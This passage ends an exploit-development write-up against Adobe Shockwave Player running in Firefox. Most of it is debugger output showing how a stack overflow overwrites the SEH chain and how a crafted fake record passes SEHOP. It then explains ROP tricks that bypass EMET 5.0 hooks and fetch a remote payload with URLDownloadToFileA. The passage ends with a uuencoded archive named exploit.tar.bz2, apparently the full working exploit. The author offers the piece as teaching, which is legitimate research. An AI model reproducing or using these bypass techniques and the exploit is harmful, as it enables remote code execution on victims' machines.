eip=77390545 esp=007bf854 ebp=007bf880 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b:

77390545 cc int 3

In order to inspect the untainted exception chain, we can ask WinDBG to next break upon loading of the Dynamiks.x32 module using:

1:032> sxe ld:dynamiks

1:032> g

(740.1f0): Unknown exception ‑ code 000006ba (first chance) ModLoad: 709e0000 70c81000 C:\Users\user\AppData\LocalLow\Adobe\Shockwave Player 12\xtras\download\AdobeSystemsIncorporated\Dynamiks\Dynamiks.x32 eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=00000000 edi=fe9bf000

eip=77e20fe8 esp=0061a944 ebp=0061a99c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206 ntdll!ZwMapViewOfSection+0xc:

77e20fe8 c22800 ret 28h

1:032> bp !Dynamiks+0x335b

1:032> g

Breakpoint 0 hit

eax=0506ba80 ebx=00000000 ecx=0061ca6c edx=71407620 esi=050003a0 edi=0061ca64

eip=709e335b esp=0061c074 ebp=0061c938 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 Dynamiks+0x335b:

709e335b ff5244 call dword ptr [edx+44h] ds:002b:71407664=713debe0

We can view the current exception chain with the !exchain command:

1:032> !exchain

0061ef40: USER32!_except_handler4+0 (775f3991)

0061efa4: USER32!_except_handler4+0 (775f3991)

0061f000: ntdll!KiUserCallbackExceptionHandler+0 (77e22e60) 0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859)

0061f858: plugin_container+18f9 (010b18f9)

0061f8a8: ntdll!_except_handler4+0 (77ec35f2)

0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86)

Invalid exception stack at ffffffff

For those unfamiliar with the above formatted information, the first number is the address on the stack of the SEH record. For example, for the first entry we can inspect the record and verify that the first 32 bit value points to the next SEH record address on the stack, and that the second 32 bit value points to the code responsible for handling the exception:

1:032> dd 0061ef40 L2

0061ef40 0061efa4 775f3991

1:032> u poi(0061ef40+4) L4

USER32!_except_handler4:

775f3991 8bff mov edi,edi

775f3993 55 push ebp

775f3994 8bec mov ebp,esp

775f3996 83ec14 sub esp,14h

Prior to corruption, the SEH record chain consists of the following stack locations, terminated by ‑1:

0061ef40‑>0061efa4‑>0061f000‑>0061f0fc‑>0061f858‑>0061f8a8‑>0061f8c8‑> ffffffff

At this point, we also know the address of the destination buffer that will be overflowed (see section 3.2):

1:032> dd @esp+0x8 L1

0061c07c 0061c534

We can calculate how much data is required to be copied from that address to reach the first SEH record on the stack:

1:032> ? 0061ef40‑0061c534

Evaluate expression: 10764 = 00002a0c

Now comes the fun part. The exception chain validation that occurs when ntdll!KiUserExceptionDispatcher doesn't care how many entries are in the chain. What this means is that an attacker has some flexibility with regard to how they choose to bypass the checks. For example, the stack corruption could be used to link the first exception handler (USER32!_except_handler4) all the way to the last one (ntdll!FinalExceptionHandler) by modifying the first's *next pointer. Another option (and the one that I chose) is to craft a fake SEH record, link a prior record to yours, and link yours to an existing one located further down the stack. To illustrate this, the below shows the state of the exception chain after attempting to step over the call that causes the stack‑based buffer overflow:

1:032> p

(740.1f0): Access violation ‑ code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=37734236 ebx=0061c534 ecx=00000000 edx=00e5eff4 esi=00002af8 edi=0061ca6c

eip=71439d0a esp=0061c010 ebp=0061c010 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 IML32!Ordinal1115+0xa:

71439d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a=?? 1:032> !exchain

0061ef40: Shockwave_3d_Asset!CIFXString::SetCodePage+49122 (70f2e522) 0061ef50: 41414141

0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859)

0061f858: plugin_container+18f9 (010b18f9)

0061f8a8: ntdll!_except_handler4+0 (77ec35f2)

0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86)

Invalid exception stack at ffffffff

Note that now the SEH chain consists of:

0061ef40‑>0061ef50‑>0061f0fc‑>0061f858‑>0061f8a8‑>0061f8c8‑>ffffffff

What has occured is the first SEH record has been corrupted to point into the "Shockwave 3d Asset.x32" module (this is our stack pivot‑‑more on this later) and it's *next pointer has been modified to point to a new address on the stack (calculated using the stack memory disclosure).

The second record shown above is a fake one that my exploit crafts to re‑link the chain. Its *next pointer has been crafted to point to 0061f0fc which is a valid SEH record that existed prior to the corruption. Note that its code pointer was simply set to 0x41414141, which is weakly validated by ntdll's exception dispatcher to ensure it is not located on the stack.

At this stage, the SEH chain will pass SEHOP validation and the first record's code will be called. This can be verified in the debugger:

1:032> bp Shockwave_3d_Asset!CIFXString::SetCodePage+49122 1:032> g

Breakpoint 1 hit

eax=00000000 ebx=00000000 ecx=70f2e522 edx=77e23105 esi=00000000 edi=00000000

eip=70f2e522 esp=0061ba5c ebp=0061ba7c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 Shockwave_3d_Asset!CIFXString::SetCodePage+0x49122:

70f2e522 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:002b:0061ba88=0061ef40

‑‑‑‑‑‑[ 5.5.1 ‑ Relevant 'EMET 5.0 Tech Preview' Mitigations

EMET 5.0 implements many mitigations that were submitted as 'defensive security research' to the Microsoft BlueHat Prize Contest (over $250,000 was awarded). The software is still in Tech Preview, but I was curious as to how difficult it would be to bypass. I was also a bit irked that my prior exploits required a WebDAV server. So, in this version of the exploit I decided to remove that requirement. This was accomplished by ROP‑ing a call to LoadLibraryA whereby I loaded the urlmon.dll module. More specifically, I returned to LoadLibraryA+0x5 to skip over the EMET hook:

1:039> u KERNEL32!LoadLibraryA L2

KERNEL32!LoadLibraryA:

76ccf864 e92f0932f9 jmp 6fff0198

76ccf869 837d0800 cmp dword ptr [ebp+8],0

1:039> u 6fff0198

6fff0198 684bedeeeb push 0EBEEED4Bh

6fff019d 60 pushad

6fff019e 9c pushfd

6fff019f 54 push esp

6fff01a0 e80bd32a05 call emet+0x4d4b0 (7529d4b0) 6fff01a5 9d popfd

6fff01a6 61 popad

6fff01a7 83c404 add esp,4

By ensuring we land at LoadLibraryA+0x5 and we control @ebp, this EMET hook is trivially bypassed. Microsoft is aware of how limited this hook is, and they even cite Phrack in their blog post[20].

Once urlmon.dll was loaded, I had to deal with EMET's 'Caller' mitigation, which does the following:

"EMET will make sure that when a critical function is reached, it is reached via a "call" instruction rather than a "ret" instruction. This is a very useful mitigation and breaks many ROP gadgets."[20]

I also had to deal with the 'SimExecFlow' mitigation:

"This mitigation tries to detect ROP gadgets following a call to a critical function. It works by emulating a specified number of instructions at the return address of the caller of a critical function."[20]

Both of the above mitigations would interfere with my calling GetProcAddress to retrieve the address of URLDownloadToFileA. They were bypassed by returning into the middle of a module's existing call to GetProcAddress, thus EMET could not tell that it was ROP‑ed to or that it was an illegitimate call:

.text:7A25CD4A 00C push eax ; hModule .text:7A25CD4B 010 call ds:GetProcAddress .text:7A25CD51 008 mov [esi+18h], eax .text:7A25CD54 008 cmp eax, edi .text:7A25CD56 008 jnz short loc_7A25CD6D .text:7A25CD6D loc_7A25CD6D:

.text:7A25CD6D

.text:7A25CD6D 008 mov eax, edi .text:7A25CD6F 008 pop edi

.text:7A25CD70 004 pop esi

.text:7A25CD71 000 retn

.text:7A25CD71 sub_7A25CD20 endp

By returning directly to the code at 0x7A25CD4A, @eax already contained the result from LoadLibraryA("urlmon.dll\x00"), and because I could predict stack addresses using the memory leak it was easy enough to ensure there was a pointer to the string "URLDownloadToFileA\x00" for the call to GetProcAddress and also that @esi was pointing to a stack address under control. Thus, I was able to get the address of the function without a problem.

Then, I called URLDownloadToFileA to drop the payload to a default writable local directory (C:\Users\Public) and then returned to LoadLibraryA and loaded the code.

‑‑[ 6 ‑ Future Work

I began developing support for process continuation/continuation of execution/whatever it's being called these days. It should be fairly easy to ensure the plugin‑container.exe doesn't crash hard, but would require reversing the interaction between this process and the firefox.exe parent.

‑‑[ 7 ‑ Conclusion

This article wasn't intended to share anything novel... any competent exploit writer could have implemented the attached exploit. I just wanted to share a walkthrough from bug discovery to reliable exploit so that readers can get a feel for what the process is like these days.

‑‑[ 8 ‑ Greets

Thanks to navs, sohlow, raid, & hoodlum for their insight and valuable discussions.

‑‑[ 9 ‑ References

[1] http://community.corest.com/~gera/InsecureProgramming

[2] http://virus.wikia.com/wiki/29A

[3] http://www.uninformed.org

[4] http://helpx.adobe.com/shockwave/kb/shockwave‑player‑faq.html

[5] http://www.adobe.com/products/shockwaveplayer.html

[6] https://wiki.mozilla.org/NPAPI

[7] http://www.adobe.com/products/director.html

[8] http://cansecwest.com/csw11/Adobe_Shockwave‑AaronPortnoy

_LoganBrown.pptx

[9] http://www.microquill.com/smartheap/index.html

[10] http://www.j4u2.com/jht/bio.html

[11] http://helpx.adobe.com/director/topics/scripting‑dictionary.html

[12] http://msdn.microsoft.com/en‑us/library/8dbf701c(v=vs.80).aspx

[13] http://uninformed.org/index.cgi?v=7&a=2&p=5

[14] http://webpy.org/

[15] http://www.lighttpd.net/

[16] https://code.google.com/p/narly/

[17] http://blogs.technet.com/b/srd/archive/2009/02/02/preventing‑the‑

exploitation‑of‑seh‑overwrites‑with‑sehop.aspx

[18] http://media.blackhat.com/bh‑us‑12/Briefings/M_Miller/BH_US_12_Miller

_Exploit_Mitigation_Slides.pdf

[19] http://blogs.technet.com/b/srd/archive/2010/07/28/announcing‑the‑

upcoming‑release‑of‑emet‑v2.aspx

[20] http://blogs.technet.com/b/srd/archive/2012/07/24/emet‑3‑5‑tech‑

preview‑leverages‑security‑mitigations‑from‑the‑bluehat‑prize.aspx

‑‑[ 10 ‑ Exploit

begin 644 exploit.tar.bz2

M0EIH.3%!629364!,H#H!S([_____________________________________

M________Y!X>0)?:S2"*D4A6M39E$IL:UJ*BE%4DV95K%5(I0*%*`"JM@`U4 M@6QED:4$@`4"J`````H````````T`````"@`4``````!8`WON`'"```````` M```````````````````````2```````````````````````5D!$`!H`#T``` M%F`%``````.AHRP`````````"TT:0`+:95L*MK`P8``````````P`'KKYYR7 M6,88`````````‑Z=`\L\JF;&Q@`````````6/2'O#T\3$````WI4O>AXR=,& MUZ!5ZN'D],8>A/#P.CQGH*$\>'H1N>45#/`.\Y[JH)JKP>@"‑SQ1%‑7@#P]W MM*@@8\!>7'JJ[,#I<'D3[:@GWOLJI0`QX#SW>`8J`:3P'C</*BB0`&\#GMSP

M\HD`J`PX'>./`Y2)%4H8>"[V/`'4E2`U'@WCF`\I44`QX+R.`>2I"F/#><8# MU*C4KP7D<!ZH&D>%X3@/5`&'A>VX#U:RC#@\PX/54#4>%[6<!ZE(&B>%Y.H> MDI24#'A>N*/*I2*4,>+V9P`\52&HX>8X!Z*H&>#O:$YX>D\OL]N><NS[Z2@B

M*<B@!0%``6.[9Z(?0&<+V9RKK[F?9A\"^V.`$8<QP`C@1E`6"#`1@C'I1N'K M#@)@=,</1N'K#AZS@@P+![;9QZ9X/6T[V[.YXO,SGE7'J1>.7EX#UM'*5<^` M`````````!/=H^^KU`#SX``````````(:?&>JI6.>``!$```````G7'G0W'@ M`4``4``````@QP3<``*````````GIWJ*W@``````````1WI[XWGP```````` M``0;SS<\``*``H`````)\N/%W/``$(```````0.?+ZYX````%`````"/E'/$ M;@4W+2'3.K:``$<'T%<Y````````HJ@````````:``8H@``````9&]LRP#K' M/6=\`````3Y<>$\`````<>CGA,]Z`````,Q.>^L/@``'T`'P#O$;@)```"/0 MX*N`"@22`1J/)N`!0``1ZZO)O`````@,=&Y0```0.';E```*CTX\MX```"'M MND]5GEY(R`&@3(\/‑Q>4*!H`8#GHS@`"@!!@,```,]4\^OG?```!`;B.```. M?$=Y'AT``"!NE5P'0``CTYZ4\'H``'ASU5<```.>AWJ+P```=Y.]]L7P#X@` M'QH<\"\``'H/#O`N```'!N!<``<&XI&>F<(PC"86"P,88$Q,Y7M````N>>'N M8‑"@\5J```!<#K941<```!.<^6[UUMA`V@```1Q[WKO+MIW(`+0```)ES5U[ MLD=/0`$)8```$[[XSOMAC[0```+G>^CO4>OJ```!=U/#<#KU````N[D]7U[W MA05]T9V@```7??)G.^WP```$\^^GP;GG`^T```"=P;=][MNZGCBX```$,D‑S MWOKB/@O@```3`'>HQG,>T```"8Z'I736J>CW‑5P```+3:ZF\[CSW:```"Y\3 M/![0```3‑"S5W;+['CE#V@```M;)G7GGOOCYX`G@```LI04‑V^DM7AX```$2 MW//G//3X```)MSX?;Y\?:```".]\,Y\+X```$=??=IWRKX```(SO?&>>GP``

M!2<\F>F^C`6>W'IN\W!&Z;@L6>E‑SVX"X6>C<+$.QN],X%J[."<+`MS.$X[< M"=5@6+`)W6X"W;@36":P76%U@G.W`N=;EL9NC<L9NZANNXX[N`SEW''=P)G. MT67.$;FXSN<)G;L=QTW+F9SBLZWN=YX%N;O<>\\";G/6'>K@"‑UCCG.X%"IG M,<6%J`"2YSG1CN=0!‑RW#G..%5&Y;CG..40Y8QW%VB&Y;G'#G!29UGO/'O#B MA#<QQG.<4"IN7`S.=0!4SF.&<XZJ"*<[NO6\>8'+8V.=R,YQRA&=<,9W2"‑U MNX=QRHSG>QWJ>ML9UO<=U/`LY=YSO'@"SKGISO'!5(Y;USWAQ1&<YZSF]#;2 MF<W>ZG>O4528‑Z\YO106IW>LYX<HF=7>SO#U!,%[SG'D&&<W%U%NR\FZJ\1A M[S'#S:&XSARRGO!G'MKH\P&.*AG0``!GO6+9P````````0J[&`````````"M:!```(<Y,YWL<.>8;WCAU/,WO'>UXG&YC=)GO,=Y,]XSO2MPFZ*SWF=X8XF' M‑[QG>:V<+.5‑P6<F<)AV<$[E9[QGCRX=G0WO&YXM[QG>JW"P=N]&]ZK<+'‑P M7.‑[QO>%WH]SR;BW#.%N6]XWO%N%G‑[QO>TO>‑WJW%G;WC>\W#G6'<[AVXX[ M.X[<W"S!=,)V+NX=F‑K"V"V&078=V#;!T&@Z"V/7;(G3$T8+MCL‑MBU#:3,V M@4%F8#*PR"FUA@``&J`‑"@``%!L!(""JH("```3"#0```````3``$P$T::‑& MC(!H:```````````"8```````(‑4P)H``(`"``!&@`````)@)D8```"&0:`` M0#30)@!HTFFF`0P",C(3T&@T,F@:3:"3U"*GX)H!`(":`)H`$‑`)A,FC0``$ MTR;0)H8!,)Z‑,@:9$Q,`)HF$T8A@FFFFFFDVF2>FFIZ3$S2FVDP(,IM3U/)' MHGJ`U/((00"`$`$`3330)@FC0#32;1HG@AIH:‑)AIDQ&0P&0U,)@T$8$T:,D MTP1I@)A,FE/P)HPU‑,C(TTP3‑J‑034"HD2((!,@3$T‑``!,C(TT‑`";31,3$ MS0:8F@F$P`$Q‑D3"9#$T3&1D:8@C"::,D\F)DR;$`13QHTTP31H8&BH%*JI! M#_Q)"30?^])%*:)A!H``!,3`$TTP@R8330:F`T!I@3#4]4VF4‑JGZAH$R>B, M$:::GDGB3TU/3*:‑DR)[5&U&T"#U&C0,$T:#_C^L0[YS2I[1_U/YA55A\.T_ MZGM5<&FW#'#;%3^8K:FE8X8QC_B_4=A]4G_^3X04<3`(,2G8T$&[‑5$V39H& M^K`Y;I%0V9L%F9%G+M;I0@\Y^*H#,!!!\"_&^K\3&(*9;3>F+.!8(KV+.`8T MX%CC@6(‑^9`X%7&V9`MK('`,>;=B&3;9T:VF!;1E]‑NC8*I`B1($$35,H8E7 M(,=JUV&I7Y;$$#(Y=PB""6@:N:,=!`@2Y$"#A^%XJ%>UJ<*Z‑1K2UK!I2\N! M7%,9#'*9/)QGS!3Z‑!"A07Q.I]NZ%1(7AI72GU+D[9LPV[FW‑.^[R<:<SL"B MH>.H\1*‑,8,=:<&CR$23V:3YE\T27)D%T5BW4BN0+8A7"%1W*#_D%‑HT&C:. M‑/M>X!)'V`^.]:KVW]_+Z)Z[>G]%[][,O^&7F=1?#;+S'$B‑22N@KZ9J3U;C M`]8[S\KT'1Q.I_!'@?SROQ!7F5_W2OQ3_C/;5_X5;J^`7UZ_VW^XO^T;P@KV M$08]!%&<"@1*^`A?(X)!4O$&M<N7^D@X=@TX\*WB<=@DI*@M:!`UMP?,F+8G MQ!%`G5N(&!8%P?"/9)]A)]VO3$KZ]DB/IHKM)$].^`>M</`SS1,8S[(.#71/ MJ=!!"A"WIQ<$3;KBIFZI:I<`US%."24^4"%"@@R2%H%0J$XI5,H$U4K$G$XU M"C<W[!S<W0KPSWKXU,5&WI$G<8G)YL::>6JGVKLM‑%.V<F*P[;3'<5V':1CK M3L.2O.'!3T`#9V4Z&/MCA6U‑/,*=;S;K‑O‑#A/‑C:'@?+‑NMY+H>=B;>4\)7 M6FGGAYX5S)IVFVDKZ=Y2N#2OJ#J6E,:TI!**U8H5M0JY4I0H4ZGU,U[`IY2+ M>G504ZS03J6C5J%"1.#6:WMT)"Y.$7(KRR4ZP+`5ZN2%S595%\*50Q%*0BC4 M2)`99;'[!]F_5I]R^U?!NA(_S4.RE2*_B_C/$>M01Q$'_‑602T%@),!$(1A' M$)'N<,7`O,LG6Q06\=8?ND]E[Q6A5>N?`FFF*K&*QBE,I58S%3V)B9"IBG>] MP_LGFGQ"?$+FLBUH5J4R"!*1HHDA+6\E,DG4Q‑2B0XHY`[PRQ.+L<0U1/J). MJ$WTN:D;0O1,)"64B:@@D()\GFR(TPZ8LN,7$8Y)7I&@WJG;O`@ZV:'J52>A MQ,4Q/;BCS[V_R;D>"0\W$X1\CZ5,@FF.%]05J%!;5$H2"#AKLY@<RCC<^B)Y MFEH‑(8P\2:LT&;@T)!S#!.A8!:U?!!!"K4*#9>V4=E`E$E3YD/.‑?#K$^&=+ MX<^NE$YD.A(V[:?O_DR>N;).Q$G9.P_'?U&YYB;X5.M^*Q*HJI)^#15‑E/;T MM7W,\F:2?K%#FI)/ME$^,2DT\AC[IVGX#]X^'>,Y))P*\\^2@01!#<5\)TEH MTA;5_‑.U:TK\C4"_K:J6!0L.;YU72^!<WT#T)[AU.3USW#W#QW"Q/%62>,2/ MHCUI?QGQYN[O99[+H]MNQI[#I>P]VO,]VY5\>\0V=`ZF)T‑GCJT8ZQY*L>$Z MW"%2)]&)*%R*>2TA<$DI5H3Z`C)2A,,C:T=E,8[B8>Z2NA)UM‑#W+;'FWD,. MR5BD*Q6EF4;'F21(6L6A6K<KU!;663C5‑6GCA4+7JV!!‑3S<]SS/AR#"37H? M#."UA4!NX<8&C#^.'H#\H/X"OOBV?)?#?'7Z*^M7NW]X^C>T]BE>R3[LD\‑$ M>*FCV6L<%(?D/]+)UNE7Q3VAM)!\$EDD]H*208^NA/3.M(FU)Y3I"[,*PC`I M"]KFP:H4!"P).D*0F+FP*_I*],$B6E*7MJ43"(V$4Z4J&^*I`8E55R"@6IB4 ME6JY*\A*^'.TJ>D&GQ!\*K'IU>;>;5/%=]8$:O2E@0B=34&[H4:Q2D&J5B‑4 MH+2E%*D()CIL$TS>7VOO8Q/+:)Y&@JE.B0(T\5*UHU$MJ(MZ"%<"%K$+(*U7 MEP6#(+`R"89(O#(J!(4:O5O6,?!O./5MMO[+3U;3:GH6'OE85)/2J1_063_W M4?]"PCURR3T9M)^%^JW(2?,/@T!.H((*`OB);EO3RP62WK@DKVC1KPIU[7Q= M%N>=>H;>H::=PV\QZ9R?N'G7@:;83\Y43Q7='J6GLDG:=YCQD<GK6.78>R.: MLB>R.IZUIV&WJ>\7KO9?!>LNG[^7K/6=/IGJ/@.T]Q>[/2NGF1+`@L&B0HU0 M2$2>03R?1II?4Q&5*@49.K%!)2$2%PB‑!7":*I0K2K#.I98D*UK\B7Y"S!:4 M*_)]2IQ*7U2(FT6]>WKI#>T:M79$6M$X?AH_&IO<"3\141\@]VVT1_84221. M)Q!!<UFE(T%W62WI)$K5R6I<DHJEM0KBG5M0OG7S+XSXKU/BO4]47OGFFSWY MYE+YEYGSB8\[S+NN:I8Y&6Y.HD\K4$U‑9)(7E"L!8(+0C6!3J\=I.XKA6*QC MNL<.XX>;2JKOJ8YJ!!&NR8M"Q07E"L$I3I)4P,2JD:C040G5I48ZG@>=3AXK MF\=.;F\EZM&/5IXCS&GJWFU8KS[$\=YQZ)]2YN%>D8\Z5^X/FGI2#RE$J>=5 M/FFI"/YBQ$\^LDV>D5Z6IU,,.AXRT(T"41K<LRQ6]6EI24TA69<5.MJV)]$E M+@\^]`\QYCUSQ'LGAO#>*PQ*BJAC&$=E\&B)Y2J1)4J!2*%<ET5B2E(E4N*O M5:<(EN1%S710+FG4"O4RD1E@D(2)/(T:Q5*2DJA*2%*NB)*)"B4B8L4%*3JE M2T:L3B<1IQ`B$^LC&/.L=UP[:JT[#SK#SBNZ\I7AO.MO&5\$EJE=$A6,>A0J M!8IY"ITXR"[+R6Y8‑2LEK;)JEW7)_Y6M$LR"#!O87=;%O34+#JE;Y3:H1>VO M<,E‑P3U$2R$=+J/#?7CXR‑MO%>A:>8VT]@Q2+RB07A/HB"$E)B‑)715+TA7M M1%I71"K%Y4"4N[KEH1+TO2)6H5R3%X((((*A3H5L*A`O*$7)"@(T*0B(B\KZ M@6"L75?5>L$2"E42=5X[KRG0\IB>:5C3ON\PTGBNVQI5>2=MA1EDB62$H5]( M42G6E!$O:O042G4:2K5,E+!R3K5/&<//.EP\Z\=W'8:5W5>.'KTQXZO,*5"A

M6I2I"^BUK4C49AD1;%(MA*7U6+^L%<81?DZJ4TGT:INB\.;7:^H(6;0:!LW; MH&0:Q*02RI^&45^(R))/M7XQ/T7FVR>D57OTQ(\=)23OIZ]ZIZU/8‑O5>=8Q M[!P]<V]@T]8T8Q9$:!&O*‑*3JU+VI%[3RYH5"OJ)+2UY7E*4J:O:^%\9E)4R M^KHI5,JD*]D)*$$*%!!8(2M>N\SV'KM/8>V7P7NW+X#WR]9V>\?4NGF/"Z=/ M2]TT=2IZ]T.M\$Y‑'‑R8TFSO,3'6VT\T=+RF.\QMYM6*FVCJ=]M.':<*\@\E MP[*%:$%"H$:_E_53')2B3RL‑X4:N3JG1N+8!(6863GUV=`VZ2&80H$$%C`@A M0"Q6E1L$@M*‑$[BM*>6\^\\]"\MPY.3R6GD.EB2N&G:5A/K)7H3#K‑=$:R6U M;5"@M2UJ1;5S+6M*"!`IT+SY@>&HF/'5CQE>&]('B/":<‑'I'CN\]=YG=["\ MEZ79TX</!YGO%T^P>N^<</,]ZTZ>RZG#3R4\‑/)<G;=YTM)VV/4N38\=S>:> M!TN"T(D*O0JA3I*6A0K<K$U4+HN99%6H4X1)Y1J!<2>42P91B5J71<$U.J!< M(('=N[75&S2%!!!!RZ$@T@A@+DK%*K2I)Y<%S2T2VI)&EHE2B><;>A>$PZ'6 M8=;Q&VR8ZG4Y/0*>A.;TCI4!*)"?1K‑7HUR0KLM1`@T2$I5(4:)2J!(>$J2E M>$[[32%4KH=QZMX'‑U/5(]0\^J4HDJQ!*715J%6*5&F)U=E$4*‑=D\HT$:6G M'#V#&G<.PKR7@>&Z4Y#MO4JF/3&*>4J:3S9*\1CT1TO*8\TY')ZIC2L/+5IZ MELNY7HU"NR)8(DI7*%"H4:@1+):%V2$E>$\QQP:I6*S(9]CW#+DN2%;QBYBW MJU$K"‑.(4%K68+FA()*X+!;%FD)]"M"8M"=(E>B3JO0D1S=EB3N‑JZGF'6=E MZ%S>,ZWHU>.Y/+=E\@KT#!J‑7J9$GE_1JQ3+4HRJ0J8A*9!"*=$B"$A(4)3J M<6M!<56KU>B2EO71/IQ/I"F+FX5Y;#K>.VX3J5R<G6QY;RCI>$V=QT/`["8A M0EBD+!6H)Q&N2%1*U!&7]8ES+!+5RP1%S0JU5.R71(*]=E[1JI"N2F03BY#$ M$)`,N*\JDI<EFF+<JE,MRW*A5%F2$M2K(C+6E(U"H5L6*>1%$HG,&.0=(_I_ M++H$M‑4"<*(A7]3HU.A$E3HD"ZK@EJE3$U,3$U3JA6E4LU$N"W+HN2YK^LUS M71?UQ6I4+:KBA5!)01B)"J5‑JFVF&V/5.VSU;33N.EYY^H/..L\EVEH2RX)] M8(2?4:J6A+0H$:X+4DBP3"=4B<5Z0M2))+@JE*B2B^K)$J$*"A2UI1E,MB]% MX2%K3ZQ7=;(GQKO2OS10!>UF\QPZ0?6A(%T@00A.K2KTQ1*%;%0B6I1()BQ0 MJI8H+:F$Q/./'C.R[3@]$\MV6V'I7?<CT*JX=QBGG'JW!BUHD%B6*X(Q‑5*8 MH5`G%"IT:H4UN4J[HDM;U`[A7+>P"XK!.L"KDTIU:@JU.JD22A0A6)"%,‑*\ M97I6/&5VG0F'J%=;R'0IYCLNT[2"K53$)Y:D%@G5`4J)"DBE04BN4B%9*E)1 MI1/J%8(D*‑7HDXG$A(4J)>5FJ5@O:Q+4EF$2$19(+2L5FSZN7=+4:$D$*P7U M;498;QQK)+<FL^ZYO"\%I6M@%X*‑.*U"1I*%<5Y2%K(4A&DKHMJY):>2D:[) M"=6*W)*=+>N:(D)Q$F(DI=5U1(E"E$*%2)Y2+JG5>N*E3J>24\H5T7%:TU;E MP0KHJ5Q6E3+<WA+5*L<HA5:O4R%)*Y4HEH0H$M"@):%;U>D$9=E.@5BYIB)* M7="KE@M2TJ$A4B?3%"F(4TL5.P2S24E*1J@H4A‑4"\HRV*I:TA5)2V)]"M:> M3B@1*)&MJ%R"I3ZL6:V*Q+5:W+NI5O5*VI*VJ!;V.+VF*A5H(."0%I0VM]V2 M?5I/_1[%^,]8?P7]%T‑2)ZY_1::1)Z&*\\]4D$2%;T2O0KDNJG)2I1KLO"\) M*‑.EN*Q(2'H%=A7)UNER=3S'#M*[3S'>;;;=#K>2[;K.2R751I"?0D:2G4:! M=E*NA9J%,79,01EW4BG=UY#QG0]`]H]"[3Q793O%5#PCPV)P\=IM7I>TIZ&C MVGNVSVW9ZSAW+YQV>LW>9CUE\T]A\%7,XI%8DJ]&ID*T+DIUV4J4C8M$M"8D MJA$O0GTA>BQ5Z%"2E:A226PQ&K$*K6M:E$H$+#I2_K%;%<@B0K6J%O0<(A@0 M:UQ3;(TXA((+:M:YK\@N+"*!0+@DKFMS=U(L4XGT*[(5FGE"1KJC(TDM2A1( M)J‑6(B[)J0H5O1)U1K!J5*M*=3Z@1I:"W)]8+DD%T4RB3JB*%1*=*71+0EM1 M+BGUM7‑;4\H4E2JQ"HU2J$E!*(%@A():E<XJ5X3J$3RZ+!)3B"R3ZR5J0DJ] M7*=V`D$TI%<KDZA4*@7=0IHB+!$1+!AT:"E+:MB‑&NJ)&ZU0K8E)+"IBB8=( M3ZO4ZUK4DDM"TBD1+)0D2H0K2Q3?%Z<4]9]B\P((+C!:4U2I="006]*4*T): MH2$/2J<D\QT/"::2F'2](YNPT]&[3L/5NMS3J<3JZK:B3%$H%N(U&0H4XC6A M0$DB3$2[.Z]0TK3H‑.\QP\VZW#DZG@:(QT.ZZW2[*@3B8HDE<%I7‑;%.J4\M MJ)&GDQ;D:_,:PBVJ54/)/"=YY#%>*C"5IC!W6/%>K;5.T\`\MIS>*FD\AVE, M<VW0QM7@<WC'2J>2[KI4"T)*K*Q0IB).*98*Y&B7)&*M(758HA.+J6)1KXDJ M5:WA*](6Q9MT<6J5U8=M4:J:1<VT6M4JE8K2Q"?7!4I">)"L0EI8I.+XMZL4 M*N3%$A6M*2B?*)2L*MZ4DD2C4BO3J>6Y,6]>$203$2<7%,3B6JTE;T1‑0IQ: M"U$A2K‑/KLKE`@3Q(1($E1+FB5R"C5:B3RD750*=(71<E0L5V817.MX'?.^Z MWB‑O,*[KP/‑.EXJ8G4>&Z6'0X8>9[+W[Z%[)AZ'L/7:/0TT\/=M/=O>/,\/# MT/73$*TI2M4:0D%`O*N3Z2C)BM6@P#!K%2IB\)B]J%AG'+4LU>J5I6E8K:EL M^M:"W\(MRUKZRPH4ZKT)3JI(3J?712I2VI2N4J0A+<A5"WI"XJ%2J]&\ACK= MYZ5YUV'8</0O%<VCAIAIV"JZS&/0L3RG0Y.TIS.T\5Z!M.ZZ&)TGAL/"=Q*+ MLIB>2$\GE6K$I(8Y9J]2KFK$XN*YK>I4ZK7K/0]3UFSS/9/,T]9W8]M[X]TO MYS3LZ>L>P]TTZ>NW>LO0Y:?$/2\[XCX+IV>[>P\SWKV6/G'KL>9=$)"A5JZ) MBG2%.K&(8‑;5H5*6O"%5IQ;T"‑:63@8YVRVET@WU!/IU;4*C7!:T:G6*U(42 M%&6U‑4Y:TZ6"6DK%4JU&LUK3JF7M0)Q)718HB=3KAZ!7)X3T+;:=+O/)>>=+ MAZ‑7A/%,<W;8X="B49‑2%&E):‑2KHJE6A34E"GE$IU2H42W)\DI26G$:>5B= M52A$ZJ4I1*M;EN4"C711+J^9)>&[[PFG0\)VRN!X[&/*4>6KI>:;57D)2=7(

